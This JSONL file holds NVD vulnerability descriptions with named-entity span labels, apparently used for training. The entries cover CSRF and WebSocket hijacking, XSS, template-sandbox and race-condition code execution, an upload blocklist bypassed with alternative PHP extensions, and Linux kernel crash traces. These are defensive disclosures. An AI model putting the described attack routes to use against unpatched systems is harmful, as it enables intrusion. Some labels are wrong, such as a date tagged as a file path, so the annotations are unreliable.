{"text": "A flaw was found in Eclipse Che in versions prior to 7.14.0 that impacts CodeReady Workspaces. When configured with cookies authentication, Theia IDE doesn't properly set the SameSite value, allowing a Cross-Site Request Forgery (CSRF) and consequently allowing a cross-site WebSocket hijack on Theia IDE. This flaw allows an attacker to gain full access to the victim's workspace through the /services endpoint. To perform a successful attack, the attacker conducts a Man-in-the-middle attack (MITM) and tricks the victim into executing a request via an untrusted link, which performs the CSRF and the Socket hijack. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.", "spans": {"ORGANIZATION: Eclipse": [[20, 27]], "VULNERABILITY: Cross-Site Request Forgery": [[202, 228]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-14368"}}
{"text": "A reflected XSS vulnerability has been discovered in the publicly accessible afr.php delivery script of Revive Adserver <= 5.0.3 by Jacopo Tediosi. There are currently no known exploits: the session identifier cannot be accessed as it is stored in an http-only cookie as of v3.2.2. On older versions, however, under specific circumstances, it could be possible to steal the session identifier and gain access to the admin interface. The query string sent to the www/delivery/afr.php script was printed back without proper escaping in a JavaScript context, allowing an attacker to execute arbitrary JS code on the browser of the victim.", "spans": {"FILEPATH: /delivery/afr.php": [[465, 482]], "FILEPATH: afr.php": [[77, 84]], "VULNERABILITY: reflected XSS": [[2, 15]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8115"}}
{"text": "Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE).  Supported versions that are affected are Oracle Java SE: 8u381, 8u381-perf, 11.0.20, 17.0.8, 21; Oracle GraalVM for JDK: 17.0.8, 21; Oracle GraalVM Enterprise Edition: 20.3.11, 21.3.7 and  22.3.3. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition.  Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 5.3 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).", "spans": {"SYSTEM: Java": [[28, 32], [113, 117], [189, 193], [454, 458], [660, 664], [764, 768], [821, 825], [862, 866], [967, 971], [1031, 1035]], "ORGANIZATION: Oracle": [[21, 27], [37, 43], [61, 67], [106, 112], [182, 188], [238, 244], [274, 280], [447, 453], [463, 469], [487, 493], [653, 659], [669, 675], [693, 699]], "VULNERABILITY: denial of service": [[618, 635]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-22081"}}
{"text": "Apollo Router is a configurable, graph router written in Rust to run a federated supergraph that uses Apollo Federation 2. The affected versions of Apollo Router contain a bug that in limited circumstances, could lead to unexpected operations being executed which can result in unintended data or effects. This only affects Router instances configured to use distributed query plan caching. The root cause of this defect is a bug in Apollo Router’s cache retrieval logic: When this defect is present and distributed query planning caching is enabled, asking the Router to execute an operation (whether it is a query, a mutation, or a subscription) may result in an unexpected variation of that operation being executed or the generation of unexpected errors. The issue stems from inadvertently executing a modified version of a previously executed operation, whose query plan is stored in the underlying cache (specifically, Redis). Depending on the type of the operation, the result may vary. For a query, results may be fetched that don’t match what was requested (e.g., rather than running `fetchUsers(type: ENTERPRISE)` the Router may run `fetchUsers(type: TRIAL)`. For a mutation, this may result in incorrect mutations being sent to underlying subgraph servers (e.g., rather than sending `deleteUser(id: 10)` to a subgraph, the Router may run `deleteUser(id: 12)`. Users who are using distributed query plan caching, are advised to either upgrade to version 1.45.1 or above or downgrade to version 1.43.2 of the Apollo Router. Apollo Router versions 1.44.0 or 1.45.0 are not recommended for use and have been withdrawn. Users unable to upgrade can disable distributed query plan caching to mitigate this issue.", "spans": {"SYSTEM: Redis": [[925, 930]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-32971"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: dts: qcom: qcs615: fix a crash issue caused by infinite loop for Coresight\n\nAn infinite loop has been created by the Coresight devices. When only a\nsource device is enabled, the coresight_find_activated_sysfs_sink function\nis recursively invoked in an attempt to locate an active sink device,\nultimately leading to a stack overflow and system crash. Therefore, disable\nthe replicator1 to break the infinite loop and prevent a potential stack\noverflow.\n\nreplicator1_out   ->   funnel_swao_in6   ->   tmc_etf_swao_in   ->  tmc_etf_swao_out\n     |                                                                     |\nreplicator1_in                                                     replicator_swao_in\n     |                                                                     |\nreplicator0_out1                                                   replicator_swao_out0\n     |                                                                     |\nreplicator0_in                                                     funnel_in1_in3\n     |                                                                     |\ntmc_etf_out <- tmc_etf_in <- funnel_merg_out <- funnel_merg_in1 <- funnel_in1_out\n\n[call trace]\n   dump_backtrace+0x9c/0x128\n   show_stack+0x20/0x38\n   dump_stack_lvl+0x48/0x60\n   dump_stack+0x18/0x28\n   panic+0x340/0x3b0\n   nmi_panic+0x94/0xa0\n   panic_bad_stack+0x114/0x138\n   handle_bad_stack+0x34/0xb8\n   __bad_stack+0x78/0x80\n   coresight_find_activated_sysfs_sink+0x28/0xa0 [coresight]\n   coresight_find_activated_sysfs_sink+0x5c/0xa0 [coresight]\n   coresight_find_activated_sysfs_sink+0x5c/0xa0 [coresight]\n   coresight_find_activated_sysfs_sink+0x5c/0xa0 [coresight]\n   coresight_find_activated_sysfs_sink+0x5c/0xa0 [coresight]\n   ...\n   coresight_find_activated_sysfs_sink+0x5c/0xa0 [coresight]\n   coresight_enable_sysfs+0x80/0x2a0 [coresight]\n\nside effect after the change:\nOnly trace data originating from AOSS can reach the ETF_SWAO and EUD sinks.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: stack overflow": [[393, 407]], "VULNERABILITY: infinite loop": [[123, 136], [155, 168], [474, 487]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38649"}}
{"text": "An Incorrect Permission Assignment for Critical Resource vulnerability of a certain file in the filesystem of Junos OS allows a local authenticated attacker to cause routing process daemon (RPD) to crash and restart, causing a Denial of Service (DoS). Repeated actions by the attacker will create a sustained Denial of Service (DoS) condition. This issue affects: Juniper Networks Junos OS: 15.1 versions prior to 15.1R7-S9; 17.3 versions prior to 17.3R3-S12; 17.4 versions prior to 17.4R2-S13, 17.4R3-S5; 18.1 versions prior to 18.1R3-S13; 18.2 versions prior to 18.2R3-S8; 18.3 versions prior to 18.3R3-S5; 18.4 versions prior to 18.4R2-S8, 18.4R3-S7; 19.1 versions prior to 19.1R2-S3, 19.1R3-S5; 19.2 versions prior to 19.2R3-S2; 19.3 versions prior to 19.3R2-S6, 19.3R3-S2; 19.4 versions prior to 19.4R1-S4, 19.4R2-S4, 19.4R3-S2; 20.1 versions prior to 20.1R2-S2, 20.1R3; 20.2 versions prior to 20.2R2-S3, 20.2R3; 20.3 versions prior to 20.3R3; 20.4 versions prior to 20.4R1-S1, 20.4R2.", "spans": {"ORGANIZATION: Juniper": [[364, 371]], "VULNERABILITY: Denial of Service": [[227, 244], [309, 326]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-31377"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrash: fix crashkernel resource shrink\n\nWhen crashkernel is configured with a high reservation, shrinking its\nvalue below the low crashkernel reservation causes two issues:\n\n1. Invalid crashkernel resource objects\n2. Kernel crash if crashkernel shrinking is done twice\n\nFor example, with crashkernel=200M,high, the kernel reserves 200MB of high\nmemory and some default low memory (say 256MB).  The reservation appears\nas:\n\ncat /proc/iomem | grep -i crash\naf000000-beffffff : Crash kernel\n433000000-43f7fffff : Crash kernel\n\nIf crashkernel is then shrunk to 50MB (echo 52428800 >\n/sys/kernel/kexec_crash_size), /proc/iomem still shows 256MB reserved:\naf000000-beffffff : Crash kernel\n\nInstead, it should show 50MB:\naf000000-b21fffff : Crash kernel\n\nFurther shrinking crashkernel to 40MB causes a kernel crash with the\nfollowing trace (x86):\n\nBUG: kernel NULL pointer dereference, address: 0000000000000038\nPGD 0 P4D 0\nOops: 0000 [#1] PREEMPT SMP NOPTI\n<snip...>\nCall Trace: <TASK>\n? __die_body.cold+0x19/0x27\n? page_fault_oops+0x15a/0x2f0\n? search_module_extables+0x19/0x60\n? search_bpf_extables+0x5f/0x80\n? exc_page_fault+0x7e/0x180\n? asm_exc_page_fault+0x26/0x30\n? __release_resource+0xd/0xb0\nrelease_resource+0x26/0x40\n__crash_shrink_memory+0xe5/0x110\ncrash_shrink_memory+0x12a/0x190\nkexec_crash_size_store+0x41/0x80\nkernfs_fop_write_iter+0x141/0x1f0\nvfs_write+0x294/0x460\nksys_write+0x6d/0xf0\n<snip...>\n\nThis happens because __crash_shrink_memory()/kernel/crash_core.c\nincorrectly updates the crashk_res resource object even when\ncrashk_low_res should be updated.\n\nFix this by ensuring the correct crashkernel resource object is updated\nwhen shrinking crashkernel memory.", "spans": {"FILEPATH: /proc/iomem": [[496, 507], [679, 690]], "FILEPATH: /sys/kernel/kexec_crash_size": [[648, 676]], "FILEPATH: /kernel/crash_core.c": [[1520, 1540]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[922, 946]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-68198"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\narm64: Don't call NULL in do_compat_alignment_fixup()\n\ndo_alignment_t32_to_handler() only fixes up alignment faults for\nspecific instructions; it returns NULL otherwise (e.g. LDREX). When\nthat's the case, signal to the caller that it needs to proceed with the\nregular alignment fault handling (i.e. SIGBUS). Without this patch, the\nkernel panics:\n\n  Unable to handle kernel NULL pointer dereference at virtual address 0000000000000000\n  Mem abort info:\n    ESR = 0x0000000086000006\n    EC = 0x21: IABT (current EL), IL = 32 bits\n    SET = 0, FnV = 0\n    EA = 0, S1PTW = 0\n    FSC = 0x06: level 2 translation fault\n  user pgtable: 4k pages, 48-bit VAs, pgdp=00000800164aa000\n  [0000000000000000] pgd=0800081fdbd22003, p4d=0800081fdbd22003, pud=08000815d51c6003, pmd=0000000000000000\n  Internal error: Oops: 0000000086000006 [#1] SMP\n  Modules linked in: cfg80211 rfkill xt_nat xt_tcpudp xt_conntrack nft_chain_nat xt_MASQUERADE nf_nat nf_conntrack_netlink nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 xfrm_user xfrm_algo xt_addrtype nft_compat br_netfilter veth nvme_fa>\n   libcrc32c crc32c_generic raid0 multipath linear dm_mod dax raid1 md_mod xhci_pci nvme xhci_hcd nvme_core t10_pi usbcore igb crc64_rocksoft crc64 crc_t10dif crct10dif_generic crct10dif_ce crct10dif_common usb_common i2c_algo_bit i2c>\n  CPU: 2 PID: 3932954 Comm: WPEWebProcess Not tainted 6.1.0-31-arm64 #1  Debian 6.1.128-1\n  Hardware name: GIGABYTE MP32-AR1-00/MP32-AR1-00, BIOS F18v (SCP: 1.08.20211002) 12/01/2021\n  pstate: 80400009 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n  pc : 0x0\n  lr : do_compat_alignment_fixup+0xd8/0x3dc\n  sp : ffff80000f973dd0\n  x29: ffff80000f973dd0 x28: ffff081b42526180 x27: 0000000000000000\n  x26: 0000000000000000 x25: 0000000000000000 x24: 0000000000000000\n  x23: 0000000000000004 x22: 0000000000000000 x21: 0000000000000001\n  x20: 00000000e8551f00 x19: ffff80000f973eb0 x18: 0000000000000000\n  x17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\n  x14: 0000000000000000 x13: 0000000000000000 x12: 0000000000000000\n  x11: 0000000000000000 x10: 0000000000000000 x9 : ffffaebc949bc488\n  x8 : 0000000000000000 x7 : 0000000000000000 x6 : 0000000000000000\n  x5 : 0000000000400000 x4 : 0000fffffffffffe x3 : 0000000000000000\n  x2 : ffff80000f973eb0 x1 : 00000000e8551f00 x0 : 0000000000000001\n  Call trace:\n   0x0\n   do_alignment_fault+0x40/0x50\n   do_mem_abort+0x4c/0xa0\n   el0_da+0x48/0xf0\n   el0t_32_sync_handler+0x110/0x140\n   el0t_32_sync+0x190/0x194\n  Code: bad PC value\n  ---[ end trace 0000000000000000 ]---", "spans": {"FILEPATH: /01/2021": [[1547, 1555]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Debian": [[1446, 1452]], "VULNERABILITY: NULL pointer dereference": [[443, 467]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22033"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nerofs: Fix detection of atomic context\n\nCurrent check for atomic context is not sufficient as\nz_erofs_decompressqueue_endio can be called under rcu lock\nfrom blk_mq_flush_plug_list(). See the stacktrace [1]\n\nIn such case we should hand off the decompression work for async\nprocessing rather than trying to do sync decompression in current\ncontext. Patch fixes the detection by checking for\nrcu_read_lock_any_held() and while at it use more appropriate\n!in_task() check than in_atomic().\n\nBackground: Historically erofs would always schedule a kworker for\ndecompression which would incur the scheduling cost regardless of\nthe context. But z_erofs_decompressqueue_endio() may not always\nbe in atomic context and we could actually benefit from doing the\ndecompression in z_erofs_decompressqueue_endio() if we are in\nthread context, for example when running with dm-verity.\nThis optimization was later added in patch [2] which has shown\nimprovement in performance benchmarks.\n\n==============================================\n[1] Problem stacktrace\n[name:core&]BUG: sleeping function called from invalid context at kernel/locking/mutex.c:291\n[name:core&]in_atomic(): 0, irqs_disabled(): 0, non_block: 0, pid: 1615, name: CpuMonitorServi\n[name:core&]preempt_count: 0, expected: 0\n[name:core&]RCU nest depth: 1, expected: 0\nCPU: 7 PID: 1615 Comm: CpuMonitorServi Tainted: G S      W  OE      6.1.25-android14-5-maybe-dirty-mainline #1\nHardware name: MT6897 (DT)\nCall trace:\n dump_backtrace+0x108/0x15c\n show_stack+0x20/0x30\n dump_stack_lvl+0x6c/0x8c\n dump_stack+0x20/0x48\n __might_resched+0x1fc/0x308\n __might_sleep+0x50/0x88\n mutex_lock+0x2c/0x110\n z_erofs_decompress_queue+0x11c/0xc10\n z_erofs_decompress_kickoff+0x110/0x1a4\n z_erofs_decompressqueue_endio+0x154/0x180\n bio_endio+0x1b0/0x1d8\n __dm_io_complete+0x22c/0x280\n clone_endio+0xe4/0x280\n bio_endio+0x1b0/0x1d8\n blk_update_request+0x138/0x3a4\n blk_mq_plug_issue_direct+0xd4/0x19c\n blk_mq_flush_plug_list+0x2b0/0x354\n __blk_flush_plug+0x110/0x160\n blk_finish_plug+0x30/0x4c\n read_pages+0x2fc/0x370\n page_cache_ra_unbounded+0xa4/0x23c\n page_cache_ra_order+0x290/0x320\n do_sync_mmap_readahead+0x108/0x2c0\n filemap_fault+0x19c/0x52c\n __do_fault+0xc4/0x114\n handle_mm_fault+0x5b4/0x1168\n do_page_fault+0x338/0x4b4\n do_translation_fault+0x40/0x60\n do_mem_abort+0x60/0xc8\n el0_da+0x4c/0xe0\n el0t_64_sync_handler+0xd4/0xfc\n el0t_64_sync+0x1a0/0x1a4\n\n[2] Link: https://lore.kernel.org/all/20210317035448.13921-1-huangjianan@oppo.com/", "spans": {"URL: https://lore.kernel.org/all/20210317035448.13921-1-huangjianan@oppo.com/": [[2472, 2544]], "FILEPATH: /locking/mutex.c": [[1184, 1200]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53231"}}
{"text": "client_golang is the instrumentation library for Go applications in Prometheus, and the promhttp package in client_golang provides tooling around HTTP servers and clients. In client_golang prior to version 1.11.1, HTTP server is susceptible to a Denial of Service through unbounded cardinality, and potential memory exhaustion, when handling requests with non-standard HTTP methods. In order to be affected, an instrumented software must use any of `promhttp.InstrumentHandler*` middleware except `RequestsInFlight`; not filter any specific methods (e.g GET) before middleware; pass metric with `method` label name to our middleware; and not have any firewall/LB/proxy that filters away requests with unknown `method`. client_golang version 1.11.1 contains a patch for this issue. Several workarounds are available, including removing the `method` label name from counter/gauge used in the InstrumentHandler; turning off affected promhttp handlers; adding custom middleware before promhttp handler that will sanitize the request method given by Go http.Request; and using a reverse proxy or web application firewall, configured to only allow a limited set of methods.", "spans": {"FILEPATH: /LB/proxy": [[659, 668]], "ORGANIZATION: Prometheus": [[68, 78]], "VULNERABILITY: Denial of Service": [[246, 263]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21698"}}
{"text": "Nautobot is a Network Source of Truth and Network Automation Platform. All users of Nautobot versions earlier than 1.5.7 are impacted by a remote code execution vulnerability. Nautobot did not properly sandbox Jinja2 template rendering. In Nautobot 1.5.7 has enabled sandboxed environments for the Jinja2 template engine used internally for template rendering for the following objects: `extras.ComputedField`, `extras.CustomLink`, `extras.ExportTemplate`, `extras.Secret`, `extras.Webhook`. While no active exploits of this vulnerability are known this change has been made as a preventative measure to protect against any potential remote code execution attacks utilizing maliciously crafted template code. This change forces the Jinja2 template engine to use a `SandboxedEnvironment` on all new installations of Nautobot. This addresses any potential unsafe code execution everywhere the helper function `nautobot.utilities.utils.render_jinja2` is called. Additionally, the documentation that had previously suggesting the direct use of `jinja2.Template` has been revised to suggest `render_jinja2`. Users are advised to upgrade to Nautobot 1.5.7 or newer. For users that are unable to upgrade to the latest release of Nautobot, you may add the following setting to your `nautobot_config.py` to apply the sandbox environment enforcement: `TEMPLATES[1][\"OPTIONS\"][\"environment\"] = \"jinja2.sandbox.SandboxedEnvironment\"` After applying this change, you must restart all Nautobot services, including any Celery worker processes. **Note:** *Nautobot specifies two template engines by default, the first being “django” for the Django built-in template engine, and the second being “jinja” for the Jinja2 template engine. This recommended setting will update the second item in the list of template engines, which is the Jinja2 engine.* For users that are unable to immediately update their configuration such as if a Nautobot service restart is too disruptive to operations, access to provide custom Jinja2 template values may be mitigated using permissions to restrict “change” (write) actions to the affected object types listed in the first section. **Note:** *This solution is intended to be stopgap until you can successfully update your `nautobot_config.py` or upgrade your Nautobot instance to apply the sandboxed environment enforcement.*", "spans": {"FILEPATH: nautobot_config.py": [[1275, 1293], [2242, 2260]], "VULNERABILITY: remote code execution": [[139, 160], [634, 655]], "VULNERABILITY: code execution": [[861, 875]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-25657"}}
{"text": "NextAuth.js is a complete open source authentication solution for Next.js applications. In affected versions an attacker can send a request to an app using NextAuth.js with an invalid `callbackUrl` query parameter, which internally is converted to a `URL` object. The URL instantiation would fail due to a malformed URL being passed into the constructor, causing it to throw an unhandled error which led to the **API route handler timing out and logging in to fail**. This has been remedied in versions 3.29.5 and 4.5.0. If for some reason you cannot upgrade, the workaround requires you to rely on Advanced Initialization. Please see the documentation for more.", "spans": {"FILEPATH: NextAuth.js": [[0, 11], [156, 167]], "FILEPATH: Next.js": [[66, 73]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31093"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: fix to don't dirty inode for readonly filesystem\n\nsyzbot reports f2fs bug as below:\n\nkernel BUG at fs/f2fs/inode.c:933!\nRIP: 0010:f2fs_evict_inode+0x1576/0x1590 fs/f2fs/inode.c:933\nCall Trace:\n evict+0x2a4/0x620 fs/inode.c:664\n dispose_list fs/inode.c:697 [inline]\n evict_inodes+0x5f8/0x690 fs/inode.c:747\n generic_shutdown_super+0x9d/0x2c0 fs/super.c:675\n kill_block_super+0x44/0x90 fs/super.c:1667\n kill_f2fs_super+0x303/0x3b0 fs/f2fs/super.c:4894\n deactivate_locked_super+0xc1/0x130 fs/super.c:484\n cleanup_mnt+0x426/0x4c0 fs/namespace.c:1256\n task_work_run+0x24a/0x300 kernel/task_work.c:180\n ptrace_notify+0x2cd/0x380 kernel/signal.c:2399\n ptrace_report_syscall include/linux/ptrace.h:411 [inline]\n ptrace_report_syscall_exit include/linux/ptrace.h:473 [inline]\n syscall_exit_work kernel/entry/common.c:251 [inline]\n syscall_exit_to_user_mode_prepare kernel/entry/common.c:278 [inline]\n __syscall_exit_to_user_mode_work kernel/entry/common.c:283 [inline]\n syscall_exit_to_user_mode+0x15c/0x280 kernel/entry/common.c:296\n do_syscall_64+0x50/0x110 arch/x86/entry/common.c:88\n entry_SYSCALL_64_after_hwframe+0x63/0x6b\n\nThe root cause is:\n- do_sys_open\n - f2fs_lookup\n  - __f2fs_find_entry\n   - f2fs_i_depth_write\n    - f2fs_mark_inode_dirty_sync\n     - f2fs_dirty_inode\n      - set_inode_flag(inode, FI_DIRTY_INODE)\n\n- umount\n - kill_f2fs_super\n  - kill_block_super\n   - generic_shutdown_super\n    - sync_filesystem\n    : sb is readonly, skip sync_filesystem()\n    - evict_inodes\n     - iput\n      - f2fs_evict_inode\n       - f2fs_bug_on(sbi, is_inode_flag_set(inode, FI_DIRTY_INODE))\n       : trigger kernel panic\n\nWhen we try to repair i_current_depth in readonly filesystem, let's\nskip dirty inode to avoid panic in later f2fs_evict_inode().", "spans": {"FILEPATH: /f2fs/inode.c": [[176, 189], [238, 251]], "FILEPATH: /f2fs/super.c": [[506, 519]], "FILEPATH: /linux/ptrace.h": [[749, 764], [813, 828]], "FILEPATH: /entry/common.c": [[867, 882], [937, 952], [1006, 1021], [1080, 1095]], "FILEPATH: /x86/entry/common.c": [[1130, 1149]], "FILEPATH: inode.c": [[290, 297], [319, 326], [369, 376]], "FILEPATH: super.c": [[419, 426], [462, 469], [564, 571]], "FILEPATH: namespace.c": [[604, 615]], "FILEPATH: task_work.c": [[655, 666]], "FILEPATH: signal.c": [[705, 713]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42297"}}
{"text": "October/System is the system module for October CMS, a self-hosted CMS platform based on the Laravel PHP Framework. Prior to versions 1.0.476, 1.1.12, and 2.2.15, when the developer allows the user to specify their own filename in the `fromData` method, an unauthenticated user can perform remote code execution (RCE) by exploiting a race condition in the temporary storage directory. This vulnerability affects plugins that expose the `October\\Rain\\Database\\Attach\\File::fromData` as a public interface and does not affect vanilla installations of October CMS since this method is not exposed or used by the system internally or externally. The issue has been patched in Build 476 (v1.0.476), v1.1.12, and v2.2.15. Those who are unable to upgrade may apply with patch to their installation manually as a workaround.", "spans": {"SYSTEM: PHP": [[101, 104]], "VULNERABILITY: remote code execution": [[290, 311]], "VULNERABILITY: race condition": [[334, 348]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-24800"}}
{"text": "Magento Long Term Support (LTS) is an unofficial, community-driven project provides an alternative to the Magento Community Edition e-commerce platform with a high level of backward compatibility. Prior to version 20.17.0, the product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution. Version 20.17.0 patches the issue.", "spans": {"FILEPATH: /custom_options/quote": [[589, 610]], "SYSTEM: Magento": [[0, 7], [106, 113]], "SYSTEM: PHP": [[438, 441]], "VULNERABILITY: Remote Code Execution": [[705, 726]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-40488"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nregulator: core: Use different devices for resource allocation and DT lookup\n\nFollowing by the below discussion, there's the potential UAF issue\nbetween regulator and mfd.\nhttps://lore.kernel.org/all/20221128143601.1698148-1-yangyingliang@huawei.com/\n\nFrom the analysis of Yingliang\n\nCPU A\t\t\t\t|CPU B\nmt6370_probe()\t\t\t|\n  devm_mfd_add_devices()\t|\n\t\t\t\t|mt6370_regulator_probe()\n\t\t\t\t|  regulator_register()\n\t\t\t\t|    //allocate init_data and add it to devres\n\t\t\t\t|    regulator_of_get_init_data()\ni2c_unregister_device()\t\t|\n  device_del()\t\t\t|\n    devres_release_all()\t|\n      // init_data is freed\t|\n      release_nodes()\t\t|\n\t\t\t\t|  // using init_data causes UAF\n\t\t\t\t|  regulator_register()\n\nIt's common to use mfd core to create child device for the regulator.\nIn order to do the DT lookup for init data, the child that registered\nthe regulator would pass its parent as the parameter. And this causes\ninit data resource allocated to its parent, not itself. The issue happen\nwhen parent device is going to release and regulator core is still doing\nsome operation of init data constraint for the regulator of child device.\n\nTo fix it, this patch expand 'regulator_register' API to use the\ndifferent devices for init data allocation and DT lookup.", "spans": {"URL: https://lore.kernel.org/all/20221128143601.1698148-1-yangyingliang@huawei.com/": [[241, 319]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50616"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nPCI: s390: Fix use-after-free of PCI resources with per-function hotplug\n\nOn s390 PCI functions may be hotplugged individually even when they\nbelong to a multi-function device. In particular on an SR-IOV device VFs\nmay be removed and later re-added.\n\nIn commit a50297cf8235 (\"s390/pci: separate zbus creation from\nscanning\") it was missed however that struct pci_bus and struct\nzpci_bus's resource list retained a reference to the PCI functions MMIO\nresources even though those resources are released and freed on\nhot-unplug. These stale resources may subsequently be claimed when the\nPCI function re-appears resulting in use-after-free.\n\nOne idea of fixing this use-after-free in s390 specific code that was\ninvestigated was to simply keep resources around from the moment a PCI\nfunction first appeared until the whole virtual PCI bus created for\na multi-function device disappears. The problem with this however is\nthat due to the requirement of artificial MMIO addreesses (address\ncookies) extra logic is then needed to keep the address cookies\ncompatible on re-plug. At the same time the MMIO resources semantically\nbelong to the PCI function so tying their lifecycle to the function\nseems more logical.\n\nInstead a simpler approach is to remove the resources of an individually\nhot-unplugged PCI function from the PCI bus's resource list while\nkeeping the resources of other PCI functions on the PCI bus untouched.\n\nThis is done by introducing pci_bus_remove_resource() to remove an\nindividual resource. Similarly the resource also needs to be removed\nfrom the struct zpci_bus's resource list. It turns out however, that\nthere is really no need to add the MMIO resources to the struct\nzpci_bus's resource list at all and instead we can simply use the\nzpci_bar_struct's resource pointer directly.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[84, 98], [691, 705], [732, 746]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53123"}}
{"text": "Issue summary: The 'openssl dgst' command-line tool silently truncates input\ndata to 16MB when using one-shot signing algorithms and reports success instead\nof an error.\n\nImpact summary: A user signing or verifying files larger than 16MB with\none-shot algorithms (such as Ed25519, Ed448, or ML-DSA) may believe the entire\nfile is authenticated while trailing data beyond 16MB remains unauthenticated.\n\nWhen the 'openssl dgst' command is used with algorithms that only support\none-shot signing (Ed25519, Ed448, ML-DSA-44, ML-DSA-65, ML-DSA-87), the input\nis buffered with a 16MB limit. If the input exceeds this limit, the tool\nsilently truncates to the first 16MB and continues without signaling an error,\ncontrary to what the documentation states. This creates an integrity gap where\ntrailing bytes can be modified without detection if both signing and\nverification are performed using the same affected codepath.\n\nThe issue affects only the command-line tool behavior. Verifiers that process\nthe full message using library APIs will reject the signature, so the risk\nprimarily affects workflows that both sign and verify with the affected\n'openssl dgst' command. Streaming digest algorithms for 'openssl dgst' and\nlibrary users are unaffected.\n\nThe FIPS modules in 3.5 and 3.6 are not affected by this issue, as the\ncommand-line tools are outside the OpenSSL FIPS module boundary.\n\nOpenSSL 3.5 and 3.6 are vulnerable to this issue.\n\nOpenSSL 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are not affected by this issue.", "spans": {"SYSTEM: OpenSSL": [[1353, 1360], [1384, 1391], [1435, 1442]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-15469"}}
{"text": "Cross Site Scripting (XSS) in dotCMS v5.1.5 allows remote attackers to execute arbitrary code by injecting a malicious payload into the \"Task Detail\" comment window of the \"/dotAdmin/#/c/workflow\" component.", "spans": {"FILEPATH: /c/workflow": [[184, 195]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17542"}}
{"text": "Kanboard is open source project management software that focuses on the Kanban methodology. Versions prior to 1.2.30 are subject to an Insecure direct object reference (IDOR) vulnerability present in the application's URL parameter. This vulnerability enables any user to read files uploaded by any other user, regardless of their privileges or restrictions. By Changing the file_id any user can render all the files where MimeType is image uploaded under **/files** directory regard less of uploaded by any user. This vulnerability poses a significant impact and severity to the application's security. By manipulating the URL parameter, an attacker can access sensitive files that should only be available to authorized users. This includes confidential documents or any other type of file stored within the application. The ability to read these files can lead to various detrimental consequences, such as unauthorized disclosure of sensitive information, privacy breaches, intellectual property theft, or exposure of trade secrets. Additionally, it could result in legal and regulatory implications, reputation damage, financial losses, and potential compromise of user trust. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-33956"}}
